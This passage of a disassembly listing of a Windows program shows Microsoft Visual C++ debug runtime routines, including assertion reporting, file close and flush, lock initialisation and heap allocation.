		mov	[ebp+var_1114],	offset aForInformation ; "\n\nFor information on how your program c"...
		jmp	short loc_4212C4
; ---------------------------------------------------------------------------


loc_4212BA:				; CODE XREF: sub_4211A0+10Cj
		mov	[ebp+var_1114],	offset dword_439EB4


loc_4212C4:				; CODE XREF: sub_4211A0+118j
		mov	ecx, [ebp+arg_10]
		movsx	edx, byte ptr [ecx]
		test	edx, edx
		jz	short loc_4212D9
		mov	eax, [ebp+arg_10]
		mov	[ebp+var_1118],	eax
		jmp	short loc_4212E3
; ---------------------------------------------------------------------------


loc_4212D9:				; CODE XREF: sub_4211A0+12Cj
		mov	[ebp+var_1118],	offset dword_439EB4


loc_4212E3:				; CODE XREF: sub_4211A0+137j
		mov	ecx, [ebp+arg_10]
		movsx	edx, byte ptr [ecx]
		test	edx, edx
		jz	short loc_4212FF
		cmp	[ebp+arg_0], 2
		jnz	short loc_4212FF
		mov	[ebp+var_111C],	offset aExpression ; "Expression: "
		jmp	short loc_421309
; ---------------------------------------------------------------------------


loc_4212FF:				; CODE XREF: sub_4211A0+14Bj
					; sub_4211A0+151j
		mov	[ebp+var_111C],	offset dword_439EB4


loc_421309:				; CODE XREF: sub_4211A0+15Dj
		mov	eax, [ebp+arg_10]
		movsx	ecx, byte ptr [eax]
		test	ecx, ecx
		jz	short loc_42131F
		mov	[ebp+var_1120],	offset asc_439EA0 ; "\n\n"
		jmp	short loc_421329
; ---------------------------------------------------------------------------


loc_42131F:				; CODE XREF: sub_4211A0+171j
		mov	[ebp+var_1120],	offset dword_439EB4


loc_421329:				; CODE XREF: sub_4211A0+17Dj
		cmp	[ebp+arg_8], 0
		jz	short loc_42133A
		mov	edx, [ebp+arg_8]
		mov	[ebp+var_1124],	edx
		jmp	short loc_421344
; ---------------------------------------------------------------------------


loc_42133A:				; CODE XREF: sub_4211A0+18Dj
		mov	[ebp+var_1124],	offset dword_439EB4


loc_421344:				; CODE XREF: sub_4211A0+198j
		cmp	[ebp+arg_8], 0
		jz	short loc_421356
		mov	[ebp+var_1128],	offset aLine ; "\nLine:	"
		jmp	short loc_421360
; ---------------------------------------------------------------------------


loc_421356:				; CODE XREF: sub_4211A0+1A8j
		mov	[ebp+var_1128],	offset dword_439EB4


loc_421360:				; CODE XREF: sub_4211A0+1B4j
		cmp	[ebp+arg_4], 0
		jz	short loc_421371
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_112C],	eax
		jmp	short loc_42137B
; ---------------------------------------------------------------------------


loc_421371:				; CODE XREF: sub_4211A0+1C4j
		mov	[ebp+var_112C],	offset dword_439EB4


loc_42137B:				; CODE XREF: sub_4211A0+1CFj
		cmp	[ebp+arg_4], 0
		jz	short loc_42138D
		mov	[ebp+var_1130],	offset aFile_2 ; "\nFile: "
		jmp	short loc_421397
; ---------------------------------------------------------------------------


loc_42138D:				; CODE XREF: sub_4211A0+1DFj
		mov	[ebp+var_1130],	offset dword_439EB4


loc_421397:				; CODE XREF: sub_4211A0+1EBj
		cmp	[ebp+var_1110],	0
		jz	short loc_4213AE
		mov	ecx, [ebp+var_1110]
		mov	[ebp+var_1134],	ecx
		jmp	short loc_4213B8
; ---------------------------------------------------------------------------


loc_4213AE:				; CODE XREF: sub_4211A0+1FEj
		mov	[ebp+var_1134],	offset dword_439EB4


loc_4213B8:				; CODE XREF: sub_4211A0+20Cj
		cmp	[ebp+var_1110],	0
		jz	short loc_4213CD
		mov	[ebp+var_1138],	offset aModule ; "\nModule: "
		jmp	short loc_4213D7
; ---------------------------------------------------------------------------


loc_4213CD:				; CODE XREF: sub_4211A0+21Fj
		mov	[ebp+var_1138],	offset dword_439EB4


loc_4213D7:				; CODE XREF: sub_4211A0+22Bj
		mov	edx, [ebp+var_1114]
		push	edx
		mov	eax, [ebp+var_1118]
		push	eax
		mov	ecx, [ebp+var_111C]
		push	ecx
		mov	edx, [ebp+var_1120]
		push	edx
		mov	eax, [ebp+var_1124]
		push	eax
		mov	ecx, [ebp+var_1128]
		push	ecx
		mov	edx, [ebp+var_112C]
		push	edx
		mov	eax, [ebp+var_1130]
		push	eax
		mov	ecx, [ebp+var_1134]
		push	ecx
		mov	edx, [ebp+var_1138]
		push	edx
		mov	eax, [ebp+var_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		mov	edx, ds:off_44FD54[ecx*4]
		push	edx
		push	offset aDebugSProgramS ; "Debug	%s!\n\nProgram:	%s%s%s%s%s%s%s%s%s%"...
		push	1000h
		lea	eax, [ebp+var_110C]
		push	eax
		call	sub_41D360
		add	esp, 3Ch
		test	eax, eax
		jge	short loc_42145D
		push	offset a_crtdbgreportS ; "_CrtDbgReport: String	too long or IO Er"...
		lea	ecx, [ebp+var_110C]
		push	ecx
		call	sub_41E550
		add	esp, 8


loc_42145D:				; CODE XREF: sub_4211A0+2A7j
		push	12012h
		push	offset aMicrosoftVisua ; "Microsoft Visual C++ Debug Library"
		lea	edx, [ebp+var_110C]
		push	edx
		call	sub_42D5C0
		add	esp, 0Ch
		mov	[ebp+var_10C], eax
		cmp	[ebp+var_10C], 3
		jnz	short loc_421496
		push	16h
		call	sub_42D300
		add	esp, 4
		push	3
		call	sub_41D9F0


loc_421496:				; CODE XREF: sub_4211A0+2E3j
		cmp	[ebp+var_10C], 4
		jnz	short loc_4214A6
		mov	eax, 1
		jmp	short loc_4214A8
; ---------------------------------------------------------------------------


loc_4214A6:				; CODE XREF: sub_4211A0+2FDj
		xor	eax, eax


loc_4214A8:				; CODE XREF: sub_4211A0+304j
		mov	esp, ebp
		pop	ebp
		retn
sub_4211A0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4214B0	proc near		; CODE XREF: sub_41AD80+71p
					; sub_42E310+400p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		cmp	eax, ds:dword_4EEE20
		jnb	short loc_4214E1
		mov	ecx, [ebp+arg_0]
		sar	ecx, 5
		mov	edx, [ebp+arg_0]
		and	edx, 1Fh
		imul	edx, 24h
		mov	eax, ds:dword_4EED20[ecx*4]
		movsx	ecx, byte ptr [eax+edx+4]
		and	ecx, 1
		test	ecx, ecx
		jnz	short loc_4214FC


loc_4214E1:				; CODE XREF: sub_4214B0+Dj
		call	sub_4267E0
		mov	dword ptr [eax], 9
		call	sub_4267F0
		mov	dword ptr [eax], 0
		or	eax, 0FFFFFFFFh
		jmp	short loc_421526
; ---------------------------------------------------------------------------


loc_4214FC:				; CODE XREF: sub_4214B0+2Fj
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_42DB90
		add	esp, 4
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_421530
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_42DC20
		add	esp, 4
		mov	eax, [ebp+var_4]


loc_421526:				; CODE XREF: sub_4214B0+4Aj
		mov	esp, ebp
		pop	ebp
		retn
sub_4214B0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421530	proc near		; CODE XREF: sub_4214B0+5Cp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_42DA10
		add	esp, 4
		cmp	eax, 0FFFFFFFFh
		jz	short loc_421583
		cmp	[ebp+arg_0], 1
		jz	short loc_421552
		cmp	[ebp+arg_0], 2
		jnz	short loc_42156C


loc_421552:				; CODE XREF: sub_421530+1Aj
		push	1
		call	sub_42DA10
		add	esp, 4
		mov	esi, eax
		push	2
		call	sub_42DA10
		add	esp, 4
		cmp	esi, eax
		jz	short loc_421583


loc_42156C:				; CODE XREF: sub_421530+20j
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_42DA10
		add	esp, 4
		push	eax
		call	ds:dword_4F12FC	; CloseHandle
		test	eax, eax
		jz	short loc_42158C


loc_421583:				; CODE XREF: sub_421530+14j
					; sub_421530+3Aj
		mov	[ebp+var_4], 0
		jmp	short loc_421595
; ---------------------------------------------------------------------------


loc_42158C:				; CODE XREF: sub_421530+51j
		call	ds:dword_4F1310	; RtlGetLastWin32Error
		mov	[ebp+var_4], eax


loc_421595:				; CODE XREF: sub_421530+5Aj
		mov	edx, [ebp+arg_0]
		push	edx
		call	loc_42D930
		add	esp, 4
		mov	eax, [ebp+arg_0]
		sar	eax, 5
		mov	ecx, [ebp+arg_0]
		and	ecx, 1Fh
		imul	ecx, 24h
		mov	edx, ds:dword_4EED20[eax*4]
		mov	byte ptr [edx+ecx+4], 0
		cmp	[ebp+var_4], 0
		jz	short loc_4215D3
		mov	eax, [ebp+var_4]
		push	eax
		call	sub_426740
		add	esp, 4
		or	eax, 0FFFFFFFFh
		jmp	short loc_4215D5
; ---------------------------------------------------------------------------


loc_4215D3:				; CODE XREF: sub_421530+90j
		xor	eax, eax


loc_4215D5:				; CODE XREF: sub_421530+A1j
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn
sub_421530	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4215E0	proc near		; CODE XREF: sub_41AD80+62p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi


loc_4215E6:				; CODE XREF: sub_4215E0+2Ej
		cmp	[ebp+arg_0], 0
		jnz	short loc_42160A
		push	offset dword_4394EC
		push	0
		push	30h
		push	offset a_freebuf_c ; "_freebuf.c"
		push	2
		call	loc_420E10
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_42160A
		int	3		; Trap to Debugger


loc_42160A:				; CODE XREF: sub_4215E0+Aj
					; sub_4215E0+27j
		xor	eax, eax
		test	eax, eax
		jnz	short loc_4215E6
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+0Ch]
		and	edx, 83h
		test	edx, edx
		jz	short loc_42166D
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+0Ch]
		and	ecx, 8
		test	ecx, ecx
		jz	short loc_42166D
		push	2
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+8]
		push	eax
		call	sub_41B8F0
		add	esp, 8
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+0Ch]
		and	edx, 0FFFFFBF7h
		mov	eax, [ebp+arg_0]
		mov	[eax+0Ch], edx
		mov	ecx, [ebp+arg_0]
		mov	dword ptr [ecx], 0
		mov	edx, [ebp+arg_0]
		mov	dword ptr [edx+8], 0
		mov	eax, [ebp+arg_0]
		mov	dword ptr [eax+4], 0


loc_42166D:				; CODE XREF: sub_4215E0+3Ej
					; sub_4215E0+4Bj
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_4215E0	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword ptr [ebp+8], 0
		jnz	short loc_421696
		push	0
		call	sub_4217F0
		add	esp, 4
		jmp	short loc_4216C0
; ---------------------------------------------------------------------------


loc_421696:				; CODE XREF: seg000:00421688j
		mov	eax, [ebp+8]
		push	eax
		call	sub_41F070
		add	esp, 4
		mov	ecx, [ebp+8]
		push	ecx
		call	sub_4216D0
		add	esp, 4
		mov	[ebp-4], eax
		mov	edx, [ebp+8]
		push	edx
		call	sub_41F0E0
		add	esp, 4
		mov	eax, [ebp-4]


loc_4216C0:				; CODE XREF: seg000:00421694j
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4216D0	proc near		; CODE XREF: seg000:004216A6p
					; sub_4217F0+B1p ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_421720
		add	esp, 4
		test	eax, eax
		jz	short loc_4216E8
		or	eax, 0FFFFFFFFh
		jmp	short loc_42170F
; ---------------------------------------------------------------------------


loc_4216E8:				; CODE XREF: sub_4216D0+11j
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+0Ch]
		and	edx, 4000h
		test	edx, edx
		jz	short loc_42170D
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+10h]
		push	ecx
		call	sub_42DC50
		add	esp, 4
		neg	eax
		sbb	eax, eax
		jmp	short loc_42170F
; ---------------------------------------------------------------------------


loc_42170D:				; CODE XREF: sub_4216D0+26j
		xor	eax, eax


loc_42170F:				; CODE XREF: sub_4216D0+16j
					; sub_4216D0+3Bj
		pop	ebp
		retn
sub_4216D0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421720	proc near		; CODE XREF: sub_41AD80+53p
					; sub_420250+A2p ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	[ebp+var_4], 0
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_8], eax
		mov	ecx, [ebp+var_8]
		mov	edx, [ecx+0Ch]
		and	edx, 3
		cmp	edx, 2
		jnz	short loc_4217BB
		mov	eax, [ebp+var_8]
		mov	ecx, [eax+0Ch]
		and	ecx, 108h
		test	ecx, ecx
		jz	short loc_4217BB
		mov	edx, [ebp+var_8]
		mov	eax, [ebp+var_8]
		mov	ecx, [edx]
		sub	ecx, [eax+8]
		mov	[ebp+var_C], ecx
		cmp	[ebp+var_C], 0
		jle	short loc_4217BB
		mov	edx, [ebp+var_C]
		push	edx
		mov	eax, [ebp+var_8]
		mov	ecx, [eax+8]
		push	ecx
		mov	edx, [ebp+var_8]
		mov	eax, [edx+10h]
		push	eax
		call	sub_42DD30
		add	esp, 0Ch
		cmp	eax, [ebp+var_C]
		jnz	short loc_4217A5
		mov	ecx, [ebp+var_8]
		mov	edx, [ecx+0Ch]
		and	edx, 80h
		test	edx, edx
		jz	short loc_4217A3
		mov	eax, [ebp+var_8]
		mov	ecx, [eax+0Ch]
		and	ecx, 0FFFFFFFDh
		mov	edx, [ebp+var_8]
		mov	[edx+0Ch], ecx


loc_4217A3:				; CODE XREF: sub_421720+72j
		jmp	short loc_4217BB
; ---------------------------------------------------------------------------


loc_4217A5:				; CODE XREF: sub_421720+62j
		mov	eax, [ebp+var_8]
		mov	ecx, [eax+0Ch]
		or	ecx, 20h
		mov	edx, [ebp+var_8]
		mov	[edx+0Ch], ecx
		mov	[ebp+var_4], 0FFFFFFFFh


loc_4217BB:				; CODE XREF: sub_421720+1Fj
					; sub_421720+2Fj ...
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_8]
		mov	edx, [ecx+8]
		mov	[eax], edx
		mov	eax, [ebp+var_8]
		mov	dword ptr [eax+4], 0
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_421720	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4217E0	proc near		; CODE XREF: sub_41F050+3p
		push	ebp
		mov	ebp, esp
		push	1
		call	sub_4217F0
		add	esp, 4
		pop	ebp
		retn
sub_4217E0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4217F0	proc near		; CODE XREF: seg000:0042168Cp
					; sub_4217E0+5p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	[ebp+var_4], 0
		mov	[ebp+var_8], 0
		push	2
		call	sub_421A80
		add	esp, 4
		mov	[ebp+var_C], 0
		jmp	short loc_421820
; ---------------------------------------------------------------------------


loc_421817:				; CODE XREF: sub_4217F0:loc_42190Ej
		mov	eax, [ebp+var_C]
		add	eax, 1
		mov	[ebp+var_C], eax


loc_421820:				; CODE XREF: sub_4217F0+25j
		mov	ecx, [ebp+var_C]
		cmp	ecx, ds:dword_4F0080
		jge	loc_421913
		mov	edx, [ebp+var_C]
		mov	eax, ds:dword_4EF06C
		cmp	dword ptr [eax+edx*4], 0
		jz	loc_42190E
		mov	ecx, [ebp+var_C]
		mov	edx, ds:dword_4EF06C
		mov	eax, [edx+ecx*4]
		mov	ecx, [eax+0Ch]
		and	ecx, 83h
		test	ecx, ecx
		jz	loc_42190E
		mov	edx, [ebp+var_C]
		mov	eax, ds:dword_4EF06C
		mov	ecx, [eax+edx*4]
		push	ecx
		mov	edx, [ebp+var_C]
		push	edx
		call	sub_41F0B0
		add	esp, 8
		mov	eax, [ebp+var_C]
		mov	ecx, ds:dword_4EF06C
		mov	edx, [ecx+eax*4]
		mov	eax, [edx+0Ch]
		and	eax, 83h
		test	eax, eax
		jz	short loc_4218F5
		cmp	[ebp+arg_0], 1
		jnz	short loc_4218B9
		mov	ecx, [ebp+var_C]
		mov	edx, ds:dword_4EF06C
		mov	eax, [edx+ecx*4]
		push	eax
		call	sub_4216D0
		add	esp, 4
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4218B7
		mov	ecx, [ebp+var_4]
		add	ecx, 1
		mov	[ebp+var_4], ecx


loc_4218B7:				; CODE XREF: sub_4217F0+BCj
		jmp	short loc_4218F5
; ---------------------------------------------------------------------------


loc_4218B9:				; CODE XREF: sub_4217F0+A2j
		cmp	[ebp+arg_0], 0
		jnz	short loc_4218F5
		mov	edx, [ebp+var_C]
		mov	eax, ds:dword_4EF06C
		mov	ecx, [eax+edx*4]
		mov	edx, [ecx+0Ch]
		and	edx, 2
		test	edx, edx
		jz	short loc_4218F5
		mov	eax, [ebp+var_C]
		mov	ecx, ds:dword_4EF06C
		mov	edx, [ecx+eax*4]
		push	edx
		call	sub_4216D0
		add	esp, 4
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4218F5
		mov	[ebp+var_8], 0FFFFFFFFh


loc_4218F5:				; CODE XREF: sub_4217F0+9Cj
					; sub_4217F0:loc_4218B7j ...
		mov	eax, [ebp+var_C]
		mov	ecx, ds:dword_4EF06C
		mov	edx, [ecx+eax*4]
		push	edx
		mov	eax, [ebp+var_C]
		push	eax
		call	sub_41F120
		add	esp, 8


loc_42190E:				; CODE XREF: sub_4217F0+4Bj
					; sub_4217F0+68j
		jmp	loc_421817
; ---------------------------------------------------------------------------


loc_421913:				; CODE XREF: sub_4217F0+39j
		push	2
		call	sub_421B20
		add	esp, 4
		cmp	[ebp+arg_0], 1
		jnz	short loc_421928
		mov	eax, [ebp+var_4]
		jmp	short loc_42192B
; ---------------------------------------------------------------------------


loc_421928:				; CODE XREF: sub_4217F0+131j
		mov	eax, [ebp+var_8]


loc_42192B:				; CODE XREF: sub_4217F0+136j
		mov	esp, ebp
		pop	ebp
		retn
sub_4217F0	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		push	9
		call	sub_421A80
		add	esp, 4
		mov	eax, ds:dword_4EE9E8
		mov	[ebp-4], eax
		mov	ecx, [ebp+8]
		mov	ds:dword_4EE9E8, ecx
		push	9
		call	sub_421B20
		add	esp, 4
		mov	eax, [ebp-4]
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		mov	eax, ds:dword_4EE9E8
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421970	proc near		; CODE XREF: sub_41AEB0+48p
					; sub_421B80+41p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, ds:dword_4EE9E8
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jz	short loc_421990
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	[ebp+var_4]
		add	esp, 4
		test	eax, eax
		jnz	short loc_421994


loc_421990:				; CODE XREF: sub_421970+10j
		xor	eax, eax
		jmp	short loc_421999
; ---------------------------------------------------------------------------


loc_421994:				; CODE XREF: sub_421970+1Ej
		mov	eax, 1


loc_421999:				; CODE XREF: sub_421970+22j
		mov	esp, ebp
		pop	ebp
		retn
sub_421970	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4219A0	proc near		; CODE XREF: sub_425B50+4p
		push	ebp
		mov	ebp, esp
		mov	eax, ds:off_44FDA4
		push	eax
		call	ds:dword_4F1444	; InitializeCriticalSection
		mov	ecx, ds:off_44FD94
		push	ecx
		call	ds:dword_4F1444	; InitializeCriticalSection
		mov	edx, ds:off_44FD84
		push	edx
		call	ds:dword_4F1444	; InitializeCriticalSection
		mov	eax, ds:off_44FD64
		push	eax
		call	ds:dword_4F1444	; InitializeCriticalSection
		pop	ebp
		retn
sub_4219A0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4219E0	proc near		; CODE XREF: seg000:00425BE3p

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], 0
		jmp	short loc_4219F6
; ---------------------------------------------------------------------------


loc_4219ED:				; CODE XREF: sub_4219E0:loc_421A47j
		mov	eax, [ebp+var_4]
		add	eax, 1
		mov	[ebp+var_4], eax


loc_4219F6:				; CODE XREF: sub_4219E0+Bj
		cmp	[ebp+var_4], 30h
		jge	short loc_421A49
		mov	ecx, [ebp+var_4]
		cmp	ds:dword_44FD60[ecx*4],	0
		jz	short loc_421A47
		cmp	[ebp+var_4], 11h
		jz	short loc_421A47
		cmp	[ebp+var_4], 0Dh
		jz	short loc_421A47
		cmp	[ebp+var_4], 9
		jz	short loc_421A47
		cmp	[ebp+var_4], 1
		jz	short loc_421A47
		mov	edx, [ebp+var_4]
		mov	eax, ds:dword_44FD60[edx*4]
		push	eax
		call	ds:dword_4F136C	; RtlDeleteCriticalSection
		push	2
		mov	ecx, [ebp+var_4]
		mov	edx, ds:dword_44FD60[ecx*4]
		push	edx
		call	sub_41B8F0
		add	esp, 8


loc_421A47:				; CODE XREF: sub_4219E0+27j
					; sub_4219E0+2Dj ...
		jmp	short loc_4219ED
; ---------------------------------------------------------------------------


loc_421A49:				; CODE XREF: sub_4219E0+1Aj
		mov	eax, ds:off_44FD84
		push	eax
		call	ds:dword_4F136C	; RtlDeleteCriticalSection
		mov	ecx, ds:off_44FD94
		push	ecx
		call	ds:dword_4F136C	; RtlDeleteCriticalSection
		mov	edx, ds:off_44FDA4
		push	edx
		call	ds:dword_4F136C	; RtlDeleteCriticalSection
		mov	eax, ds:off_44FD64
		push	eax
		call	ds:dword_4F136C	; RtlDeleteCriticalSection
		mov	esp, ebp
		pop	ebp
		retn
sub_4219E0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421A80	proc near		; CODE XREF: sub_41AEB0+6p
					; sub_41B2F0+6p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		cmp	ds:dword_44FD60[eax*4],	0
		jnz	short loc_421B02
		push	0E1h
		push	offset aMlock_c	; "mlock.c"
		push	2
		push	18h
		call	sub_41AE60
		add	esp, 10h
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_421ABA
		push	11h
		call	sub_420CA0
		add	esp, 4


loc_421ABA:				; CODE XREF: sub_421A80+2Ej
		push	11h
		call	sub_421A80
		add	esp, 4
		mov	ecx, [ebp+arg_0]
		cmp	ds:dword_44FD60[ecx*4],	0
		jnz	short loc_421AEA
		mov	edx, [ebp+var_4]
		push	edx
		call	ds:dword_4F1444	; InitializeCriticalSection
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_4]
		mov	ds:dword_44FD60[eax*4],	ecx
		jmp	short loc_421AF8
; ---------------------------------------------------------------------------


loc_421AEA:				; CODE XREF: sub_421A80+4Fj
		push	2
		mov	edx, [ebp+var_4]
		push	edx
		call	sub_41B8F0
		add	esp, 8


loc_421AF8:				; CODE XREF: sub_421A80+68j
		push	11h
		call	sub_421B20
		add	esp, 4


loc_421B02:				; CODE XREF: sub_421A80+Fj
		mov	eax, [ebp+arg_0]
		mov	ecx, ds:dword_44FD60[eax*4]
		push	ecx
		call	ds:dword_4F1364	; RtlEnterCriticalSection
		mov	esp, ebp
		pop	ebp
		retn
sub_421A80	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421B20	proc near		; CODE XREF: sub_41AEB0+2Bp
					; sub_41B2F0+31p ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		mov	ecx, ds:dword_44FD60[eax*4]
		push	ecx
		call	ds:dword_4F1360	; RtlLeaveCriticalSection
		pop	ebp
		retn
sub_421B20	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+8]
		push	eax
		push	0
		call	near ptr 3D0000h
		imul	dword ptr [eax-1]
; ---------------------------------------------------------------------------
		db 3 dup(0)
; ---------------------------------------------------------------------------
		call	ds:dword_4F12F8	; ExitProcess
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421B60	proc near		; CODE XREF: sub_421D10+10p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, ds:dword_4EE9E4
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_421B80
		add	esp, 8
		pop	ebp
		retn
sub_421B60	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421B80	proc near		; CODE XREF: sub_421B60+Dp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	[ebp+arg_0], 0FFFFFFE0h
		jbe	short loc_421B8E
		xor	eax, eax
		jmp	short loc_421BD3
; ---------------------------------------------------------------------------


loc_421B8E:				; CODE XREF: sub_421B80+8j
					; sub_421B80:loc_421BD1j
		cmp	[ebp+arg_0], 0FFFFFFE0h
		ja	short loc_421BA5
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_421BE0
		add	esp, 4
		mov	[ebp+var_4], eax
		jmp	short loc_421BAC
; ---------------------------------------------------------------------------


loc_421BA5:				; CODE XREF: sub_421B80+12j
		mov	[ebp+var_4], 0


loc_421BAC:				; CODE XREF: sub_421B80+23j
		cmp	[ebp+var_4], 0
		jnz	short loc_421BB8
		cmp	[ebp+arg_4], 0
		jnz	short loc_421BBD


loc_421BB8:				; CODE XREF: sub_421B80+30j
		mov	eax, [ebp+var_4]
		jmp	short loc_421BD3
; ---------------------------------------------------------------------------


loc_421BBD:				; CODE XREF: sub_421B80+36j
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_421970
		add	esp, 4
		test	eax, eax
		jnz	short loc_421BD1
		xor	eax, eax
		jmp	short loc_421BD3
; ---------------------------------------------------------------------------


loc_421BD1:				; CODE XREF: sub_421B80+4Bj
		jmp	short loc_421B8E
; ---------------------------------------------------------------------------


loc_421BD3:				; CODE XREF: sub_421B80+Cj
					; sub_421B80+3Bj ...
		mov	esp, ebp
		pop	ebp
		retn
sub_421B80	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421BE0	proc near		; CODE XREF: sub_41AF30+19Dp
					; sub_421B80+18p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		cmp	eax, ds:dword_44FE28
		ja	short loc_421C1D
		push	9
		call	sub_421A80
		add	esp, 4
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_422810
		add	esp, 4
		mov	[ebp+var_4], eax
		push	9
		call	sub_421B20
		add	esp, 4
		cmp	[ebp+var_4], 0
		jz	short loc_421C1D
		mov	eax, [ebp+var_4]
		jmp	short loc_421C49
; ---------------------------------------------------------------------------


loc_421C1D:				; CODE XREF: sub_421BE0+Dj
					; sub_421BE0+36j
		cmp	[ebp+arg_0], 0
		jnz	short loc_421C2A
		mov	[ebp+arg_0], 1


loc_421C2A:				; CODE XREF: sub_421BE0+41j
		mov	edx, [ebp+arg_0]
		add	edx, 0Fh
		and	edx, 0FFFFFFF0h
		mov	[ebp+arg_0], edx
		mov	eax, [ebp+arg_0]
		push	eax
		push	0
		mov	ecx, ds:dword_4EF060
		push	ecx
		call	ds:dword_4F144C	; RtlAllocateHeap


loc_421C49:				; CODE XREF: sub_421BE0+3Bj
		mov	esp, ebp
		pop	ebp
		retn
sub_421BE0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421C50	proc near		; CODE XREF: sub_41AF30+79p
					; sub_41B330+C1p ...
		push	ebp
		mov	ebp, esp
		mov	eax, 1
		pop	ebp
		retn
sub_421C50	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421C60	proc near		; CODE XREF: sub_41B330+2D4p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
